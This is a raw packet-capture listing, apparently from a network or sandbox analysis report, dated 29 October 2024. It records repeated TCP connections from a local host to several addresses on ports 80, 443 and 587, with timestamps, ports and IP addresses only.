Oct 29, 2024 13:09:49.751156092 CET	60693	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:09:49.751261950 CET	60693	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:09:49.756611109 CET	80	60693	64.233.166.82	192.168.2.5
Oct 29, 2024 13:09:50.668850899 CET	80	60693	64.233.166.82	192.168.2.5
Oct 29, 2024 13:09:50.668924093 CET	60693	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:09:50.668972015 CET	80	60693	64.233.166.82	192.168.2.5
Oct 29, 2024 13:09:50.669106960 CET	60693	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:09:50.669856071 CET	60693	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:09:50.669856071 CET	60693	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:09:51.026011944 CET	60694	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:09:51.031574965 CET	80	60694	108.177.15.82	192.168.2.5
Oct 29, 2024 13:09:51.031696081 CET	60694	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:09:51.031944990 CET	60694	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:09:51.038199902 CET	80	60694	108.177.15.82	192.168.2.5
Oct 29, 2024 13:09:51.966985941 CET	80	60694	108.177.15.82	192.168.2.5
Oct 29, 2024 13:09:51.967000961 CET	80	60694	108.177.15.82	192.168.2.5
Oct 29, 2024 13:09:51.967142105 CET	60694	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:09:51.967490911 CET	60694	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:09:51.967490911 CET	60694	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:09:52.156316042 CET	60695	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:09:52.162364006 CET	80	60695	142.251.168.82	192.168.2.5
Oct 29, 2024 13:09:52.162471056 CET	60695	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:09:52.162714958 CET	60695	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:09:52.168263912 CET	80	60695	142.251.168.82	192.168.2.5
Oct 29, 2024 13:09:53.116728067 CET	80	60695	142.251.168.82	192.168.2.5
Oct 29, 2024 13:09:53.116743088 CET	80	60695	142.251.168.82	192.168.2.5
Oct 29, 2024 13:09:53.116796017 CET	60695	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:09:53.116830111 CET	60695	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:09:53.167262077 CET	60695	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:09:53.167367935 CET	60695	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:09:53.983978033 CET	60479	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:53.989398956 CET	80	60479	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:54.163439989 CET	80	60479	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:54.163877964 CET	60479	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:54.169760942 CET	60696	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:54.169797897 CET	443	60696	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:54.169878006 CET	60696	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:54.170233011 CET	60696	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:54.170248985 CET	443	60696	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:54.885493994 CET	443	60696	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:54.885582924 CET	60696	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:54.886244059 CET	60696	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:54.886250019 CET	443	60696	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:54.886553049 CET	60696	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:54.886559010 CET	443	60696	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:55.069243908 CET	443	60696	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:55.069283009 CET	443	60696	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:55.069303036 CET	60696	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:55.072989941 CET	60696	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:55.072989941 CET	60696	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:55.072989941 CET	60696	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:55.400465965 CET	60697	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:09:55.405978918 CET	80	60697	64.233.166.82	192.168.2.5
Oct 29, 2024 13:09:55.409028053 CET	60697	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:09:55.409327984 CET	60697	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:09:55.415086031 CET	80	60697	64.233.166.82	192.168.2.5
Oct 29, 2024 13:09:56.332931995 CET	80	60697	64.233.166.82	192.168.2.5
Oct 29, 2024 13:09:56.333051920 CET	60697	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:09:56.333319902 CET	80	60697	64.233.166.82	192.168.2.5
Oct 29, 2024 13:09:56.333444118 CET	60697	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:09:56.333580017 CET	60697	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:09:56.333693027 CET	60697	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:09:56.339631081 CET	80	60697	64.233.166.82	192.168.2.5
Oct 29, 2024 13:09:56.339860916 CET	60697	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:09:56.548985004 CET	60698	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:09:56.554389954 CET	80	60698	108.177.15.82	192.168.2.5
Oct 29, 2024 13:09:56.554537058 CET	60698	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:09:56.554819107 CET	60698	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:09:56.560396910 CET	80	60698	108.177.15.82	192.168.2.5
Oct 29, 2024 13:09:57.483936071 CET	80	60698	108.177.15.82	192.168.2.5
Oct 29, 2024 13:09:57.484009027 CET	60698	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:09:57.484405041 CET	80	60698	108.177.15.82	192.168.2.5
Oct 29, 2024 13:09:57.484492064 CET	60698	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:09:57.484739065 CET	60698	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:09:57.484797955 CET	60698	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:09:57.767751932 CET	60699	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:09:57.773159981 CET	80	60699	142.251.168.82	192.168.2.5
Oct 29, 2024 13:09:57.773767948 CET	60699	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:09:57.781251907 CET	60699	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:09:57.786659002 CET	80	60699	142.251.168.82	192.168.2.5
Oct 29, 2024 13:09:58.708314896 CET	80	60699	142.251.168.82	192.168.2.5
Oct 29, 2024 13:09:58.708386898 CET	60699	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:09:58.708441019 CET	80	60699	142.251.168.82	192.168.2.5
Oct 29, 2024 13:09:58.708724976 CET	60699	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:09:58.709450006 CET	60699	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:09:58.709532976 CET	60699	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:09:59.510487080 CET	60479	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:59.515882969 CET	80	60479	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:59.690017939 CET	80	60479	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:59.690098047 CET	60479	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:59.695547104 CET	60700	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:59.695579052 CET	443	60700	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:59.695648909 CET	60700	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:59.696312904 CET	60700	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:59.696327925 CET	443	60700	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:00.414942980 CET	443	60700	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:00.415043116 CET	60700	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:00.415555954 CET	60700	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:00.415561914 CET	443	60700	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:00.415951014 CET	60700	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:00.415955067 CET	443	60700	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:00.598201990 CET	443	60700	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:00.598241091 CET	443	60700	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:00.598504066 CET	60700	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:00.598818064 CET	60700	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:00.598829031 CET	443	60700	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:00.598903894 CET	60700	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:00.598938942 CET	60700	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:00.909208059 CET	60701	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:00.914844990 CET	80	60701	64.233.166.82	192.168.2.5
Oct 29, 2024 13:10:00.914923906 CET	60701	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:00.915157080 CET	60701	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:00.921104908 CET	80	60701	64.233.166.82	192.168.2.5
Oct 29, 2024 13:10:01.850070000 CET	80	60701	64.233.166.82	192.168.2.5
Oct 29, 2024 13:10:01.850105047 CET	80	60701	64.233.166.82	192.168.2.5
Oct 29, 2024 13:10:01.850225925 CET	60701	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:01.850867033 CET	60701	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:01.850867033 CET	60701	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:02.110073090 CET	60702	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:02.115875959 CET	80	60702	108.177.15.82	192.168.2.5
Oct 29, 2024 13:10:02.116069078 CET	60702	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:02.118575096 CET	60702	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:02.123944044 CET	80	60702	108.177.15.82	192.168.2.5
Oct 29, 2024 13:10:03.036520958 CET	80	60702	108.177.15.82	192.168.2.5
Oct 29, 2024 13:10:03.036562920 CET	80	60702	108.177.15.82	192.168.2.5
Oct 29, 2024 13:10:03.036597013 CET	60702	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:03.036627054 CET	60702	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:03.037234068 CET	60702	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:03.037265062 CET	60702	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:03.249383926 CET	60703	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:03.254888058 CET	80	60703	142.251.168.82	192.168.2.5
Oct 29, 2024 13:10:03.254992962 CET	60703	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:03.255206108 CET	60703	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:03.260523081 CET	80	60703	142.251.168.82	192.168.2.5
Oct 29, 2024 13:10:04.214234114 CET	80	60703	142.251.168.82	192.168.2.5
Oct 29, 2024 13:10:04.214267969 CET	80	60703	142.251.168.82	192.168.2.5
Oct 29, 2024 13:10:04.214328051 CET	60703	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:04.214415073 CET	60703	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:04.214816093 CET	60703	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:04.215107918 CET	60703	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:04.688527107 CET	60479	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:04.694067001 CET	80	60479	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:04.868623018 CET	80	60479	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:04.868675947 CET	60479	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:04.893033981 CET	60704	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:04.893074989 CET	443	60704	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:04.893138885 CET	60704	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:04.897320986 CET	60704	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:04.897332907 CET	443	60704	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:05.627799034 CET	443	60704	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:05.627906084 CET	60704	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:05.630299091 CET	60704	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:05.630311012 CET	443	60704	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:05.630537987 CET	60704	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:05.630543947 CET	443	60704	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:05.814110041 CET	443	60704	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:05.814148903 CET	443	60704	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:05.815498114 CET	60704	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:05.815498114 CET	60704	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:05.817388058 CET	60704	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:06.139025927 CET	60705	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:06.145011902 CET	80	60705	64.233.166.82	192.168.2.5
Oct 29, 2024 13:10:06.147283077 CET	60705	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:06.147283077 CET	60705	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:06.152815104 CET	80	60705	64.233.166.82	192.168.2.5
Oct 29, 2024 13:10:07.077585936 CET	80	60705	64.233.166.82	192.168.2.5
Oct 29, 2024 13:10:07.077644110 CET	80	60705	64.233.166.82	192.168.2.5
Oct 29, 2024 13:10:07.077694893 CET	60705	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:07.077784061 CET	60705	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:07.078263044 CET	60705	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:07.078305006 CET	60705	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:07.320427895 CET	60706	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:07.325896025 CET	80	60706	108.177.15.82	192.168.2.5
Oct 29, 2024 13:10:07.325997114 CET	60706	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:07.326175928 CET	60706	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:07.331732988 CET	80	60706	108.177.15.82	192.168.2.5
Oct 29, 2024 13:10:09.189424992 CET	80	60706	108.177.15.82	192.168.2.5
Oct 29, 2024 13:10:09.189438105 CET	80	60706	108.177.15.82	192.168.2.5
Oct 29, 2024 13:10:09.189482927 CET	60706	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:09.189496994 CET	60706	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:09.189624071 CET	80	60706	108.177.15.82	192.168.2.5
Oct 29, 2024 13:10:09.189666033 CET	60706	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:09.189881086 CET	80	60706	108.177.15.82	192.168.2.5
Oct 29, 2024 13:10:09.189924002 CET	60706	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:09.189934015 CET	60706	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:09.189955950 CET	60706	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:09.190319061 CET	80	60706	108.177.15.82	192.168.2.5
Oct 29, 2024 13:10:09.190361977 CET	60706	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:09.397650957 CET	60707	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:09.449060917 CET	80	60706	108.177.15.82	192.168.2.5
Oct 29, 2024 13:10:09.449148893 CET	60706	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:09.455961943 CET	80	60707	142.251.168.82	192.168.2.5
Oct 29, 2024 13:10:09.456042051 CET	60707	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:09.456232071 CET	60707	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:09.463624001 CET	80	60707	142.251.168.82	192.168.2.5
Oct 29, 2024 13:10:10.972855091 CET	80	60707	142.251.168.82	192.168.2.5
Oct 29, 2024 13:10:10.972870111 CET	80	60707	142.251.168.82	192.168.2.5
Oct 29, 2024 13:10:10.972918987 CET	60707	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:10.972930908 CET	60707	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:10.973149061 CET	80	60707	142.251.168.82	192.168.2.5
Oct 29, 2024 13:10:10.973193884 CET	60707	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:10.973859072 CET	60707	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:10.973880053 CET	60707	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:10.974607944 CET	80	60707	142.251.168.82	192.168.2.5
Oct 29, 2024 13:10:10.974652052 CET	60707	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:10.982062101 CET	80	60707	142.251.168.82	192.168.2.5
Oct 29, 2024 13:10:10.982125998 CET	60707	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:11.552841902 CET	49809	587	192.168.2.5	212.44.112.138
Oct 29, 2024 13:10:11.558192015 CET	587	49809	212.44.112.138	192.168.2.5
Oct 29, 2024 13:10:11.735500097 CET	60479	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:11.741023064 CET	80	60479	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:11.915785074 CET	80	60479	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:11.919755936 CET	60479	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:11.932324886 CET	60708	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:11.932373047 CET	443	60708	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:11.932662964 CET	60708	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:11.933264017 CET	60708	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:11.933281898 CET	443	60708	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:12.018412113 CET	587	49809	212.44.112.138	192.168.2.5
Oct 29, 2024 13:10:12.018624067 CET	49809	587	192.168.2.5	212.44.112.138
Oct 29, 2024 13:10:12.025322914 CET	587	49809	212.44.112.138	192.168.2.5
Oct 29, 2024 13:10:12.025418043 CET	49809	587	192.168.2.5	212.44.112.138
Oct 29, 2024 13:10:12.653268099 CET	443	60708	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:12.653374910 CET	60708	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:12.654067993 CET	60708	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:12.654067993 CET	60708	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:12.654076099 CET	443	60708	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:12.654102087 CET	443	60708	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:12.836863041 CET	443	60708	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:12.836918116 CET	443	60708	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:12.836922884 CET	60708	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:12.837033987 CET	60708	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:12.839871883 CET	60708	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:12.839895964 CET	443	60708	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:12.839910984 CET	60708	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:12.839951038 CET	60708	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:13.182851076 CET	60709	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:13.188173056 CET	80	60709	64.233.166.82	192.168.2.5
Oct 29, 2024 13:10:13.188304901 CET	60709	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:13.188565969 CET	60709	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:13.194036961 CET	80	60709	64.233.166.82	192.168.2.5
Oct 29, 2024 13:10:14.109517097 CET	80	60709	64.233.166.82	192.168.2.5
Oct 29, 2024 13:10:14.109539032 CET	80	60709	64.233.166.82	192.168.2.5
Oct 29, 2024 13:10:14.109824896 CET	60709	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:14.110038996 CET	60709	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:14.110038996 CET	60709	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:14.313344002 CET	60710	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:14.319047928 CET	80	60710	108.177.15.82	192.168.2.5
Oct 29, 2024 13:10:14.319184065 CET	60710	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:14.319504023 CET	60710	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:14.326344013 CET	80	60710	108.177.15.82	192.168.2.5
Oct 29, 2024 13:10:15.241906881 CET	80	60710	108.177.15.82	192.168.2.5
Oct 29, 2024 13:10:15.241966963 CET	60710	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:15.242187023 CET	80	60710	108.177.15.82	192.168.2.5
Oct 29, 2024 13:10:15.242310047 CET	60710	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:15.242388964 CET	60710	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:15.242460966 CET	60710	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:15.555053949 CET	60711	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:15.560518980 CET	80	60711	142.251.168.82	192.168.2.5
Oct 29, 2024 13:10:15.561861038 CET	60711	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:15.562374115 CET	60711	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:15.567679882 CET	80	60711	142.251.168.82	192.168.2.5
Oct 29, 2024 13:10:16.484241009 CET	80	60711	142.251.168.82	192.168.2.5
Oct 29, 2024 13:10:16.484258890 CET	80	60711	142.251.168.82	192.168.2.5
Oct 29, 2024 13:10:16.487469912 CET	60711	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:16.487869024 CET	60711	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:16.487869024 CET	60711	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:17.036303043 CET	60479	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:17.041721106 CET	80	60479	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:17.215444088 CET	80	60479	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:17.215502024 CET	60479	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:17.219649076 CET	60712	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:17.219706059 CET	443	60712	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:17.219789028 CET	60712	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:17.220096111 CET	60712	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:17.220110893 CET	443	60712	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:17.937254906 CET	443	60712	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:17.939879894 CET	60712	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:17.939879894 CET	60712	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:17.939908028 CET	443	60712	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:17.943116903 CET	60712	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:17.943121910 CET	443	60712	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:18.122865915 CET	443	60712	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:18.122899055 CET	443	60712	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:18.123024940 CET	60712	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:18.123091936 CET	60712	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:18.123091936 CET	60712	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:18.123111963 CET	443	60712	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:18.123359919 CET	60712	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:18.409394026 CET	60713	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:18.623486042 CET	80	60713	64.233.166.82	192.168.2.5
Oct 29, 2024 13:10:18.623616934 CET	60713	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:18.623883963 CET	60713	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:18.631870031 CET	80	60713	64.233.166.82	192.168.2.5
Oct 29, 2024 13:10:19.555627108 CET	80	60713	64.233.166.82	192.168.2.5
Oct 29, 2024 13:10:19.555691004 CET	60713	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:19.555813074 CET	80	60713	64.233.166.82	192.168.2.5
Oct 29, 2024 13:10:19.555856943 CET	60713	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:19.556231022 CET	60713	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:19.556314945 CET	60713	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:19.845019102 CET	60714	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:19.850425005 CET	80	60714	108.177.15.82	192.168.2.5
Oct 29, 2024 13:10:19.853142023 CET	60714	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:19.853446960 CET	60714	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:19.858985901 CET	80	60714	108.177.15.82	192.168.2.5
Oct 29, 2024 13:10:20.787034988 CET	80	60714	108.177.15.82	192.168.2.5
Oct 29, 2024 13:10:20.787050962 CET	80	60714	108.177.15.82	192.168.2.5
Oct 29, 2024 13:10:20.787091970 CET	60714	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:20.787110090 CET	60714	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:20.787558079 CET	60714	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:20.787583113 CET	60714	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:21.163921118 CET	60715	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:21.169373035 CET	80	60715	142.251.168.82	192.168.2.5
Oct 29, 2024 13:10:21.169436932 CET	60715	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:21.169687033 CET	60715	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:21.175221920 CET	80	60715	142.251.168.82	192.168.2.5
Oct 29, 2024 13:10:22.091247082 CET	80	60715	142.251.168.82	192.168.2.5
Oct 29, 2024 13:10:22.091296911 CET	80	60715	142.251.168.82	192.168.2.5
Oct 29, 2024 13:10:22.091411114 CET	60715	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:22.097031116 CET	60715	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:22.097239017 CET	60715	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:22.690196037 CET	60479	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:22.695653915 CET	80	60479	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:22.869741917 CET	80	60479	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:22.869812965 CET	60479	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:22.875360966 CET	60716	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:22.875430107 CET	443	60716	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:22.875499964 CET	60716	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:22.876005888 CET	60716	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:22.876043081 CET	443	60716	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:23.595829964 CET	443	60716	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:23.595922947 CET	60716	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:23.606945992 CET	60716	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:23.606971979 CET	443	60716	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:23.610125065 CET	60716	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:23.610141039 CET	443	60716	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:23.790132046 CET	443	60716	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:23.790165901 CET	443	60716	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:23.790771961 CET	60716	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:23.791018009 CET	60716	443	192.168.2.5	51.81.194.202
